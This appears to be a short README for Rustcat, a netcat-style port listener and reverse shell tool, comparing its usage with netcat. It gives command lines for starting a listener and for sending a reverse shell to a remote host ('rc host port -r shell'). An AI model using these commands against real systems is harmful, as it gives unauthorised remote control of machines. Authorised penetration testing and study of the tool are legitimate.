🤔 What Is Rustcat?

🎨 Rustcat is a modern port listener & Reverse Shell that is very easy to use.
✨ Features
- Listen on ports
- Command history
- Reverse shell
- Udp
- Colors
⚙️ Why Rustcat?
👶 Everything Easy

Starting a listener is just as simple as rc -lp port. While in netcat you would do something like nc -nlvp port to get the same results.
And creating a reverse shell has never been easier, rc host port -r shell is all you need. No more long /dev/tcp stuff that you always forget.
📃 Command History
Command history is something we all need. How annoying isn't it when you accidently type a long command wrong, then you have to rewrite the entire thing.
But Rustcat fixes that with command history. Just add -H and you will get command history (rc -lHp port), unlike netcat where you have to use another application and do rlwrap -cAr nc -nlvp port.
🎨 Appearance
A little splash of color doesn't hurt :).
